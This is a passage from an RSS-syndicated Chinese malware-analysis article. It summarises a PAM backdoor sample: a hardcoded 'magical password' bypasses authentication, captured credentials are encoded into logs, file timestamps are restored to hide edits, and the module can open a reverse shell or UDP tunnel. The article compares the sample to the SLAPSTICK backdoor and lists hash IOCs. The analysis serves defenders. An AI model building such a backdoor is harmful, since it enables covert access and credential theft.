netcool on /dev/pts/31</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这个PAM后门样本通过替换／植入 PAM 认证模块，实现绕过正常认证机制，并使用一个硬编码 “magical password” 来允许未经授权访问系统。同时，它会监控并记录认证尝试 (包括用户名、密码、远端主机信息)，将敏感信息编码写入日志，再通过恢复时间戳掩盖日志修改痕迹。在特定条件下，该模块还可触发反弹 shell 或建立 UDP 隧道，从而实现远程 shell/tunnel，以及持久化后门与隐蔽访问。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">其在认证绕过方式、日志编码与时间戳恢复行为等方面与公开资料中的 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">SLAPSTICK</span></strong><span leaf=""> Solaris PAM backdoor 高度相似，但由于尚缺乏更多上下文证据，目前仅能判断其具备相同技术特征，而无法确认与 UNC2891 的直接关联。</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">IOCs</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">MD5：2366270c777695d7d53b757a9982f07d</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">SHA1：b222b490abf08c3a65de7b9febeebf797fe35360</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">SHA256：9a8eba806e377eb97f86d6568e0f0c4e961e176b74339249694c75e413549648</span></p></div><div data-role="outer" label="Powered by 135editor.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;caret-color: rgb(34, 34, 34);font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);"><div data-role="paragraph" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif&#34;);background-size: 100%;background-position: 0px center;background-repeat: no-repeat;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;font-family: &#34;PingFang SC&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 20px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">ChaMd5 Venom 招收大佬入圈</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">新成立组IOT+工控+样本分析 </span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期招新</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎联系</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">admin@chamd5.org</span></span></p></div></div></div></div></div></div></div><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration: none;caret-color: rgba(0, 0, 0, 0.9);clear: both;min-height: 1em;background-color: rgb(255, 255, 255);text-align: center;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.5133689839572193" data-s="300,640" data-type="other" data-w="748" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.54px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;height: auto !important;" data-copyright="0" data-imgfileid="100028117" src="https://wechat2rss.xlab.app/img-proxy/?k=d451bf05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPUubqXlrzBR8nk7RR7HefBINILy4PClwoEMzGCJovye9KIsEjCKwxlqcSFsGJSv3OtYIjmKpXzVyfzlqSicWwxQ%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26randomid%3Di81yx0yu%26tp%3Dwebp%23imgIndex%3D20"/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="2247513736">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8e6da802&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTc1MjExOQ%3D%3D%26mid%3D2247513736%26idx%3D1%26sn%3Da50f47d25bc548afa308bf2f29027377">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 28 Nov 2025 08:15:00 +0800</pubDate>
    </item>
  </channel>
</rss>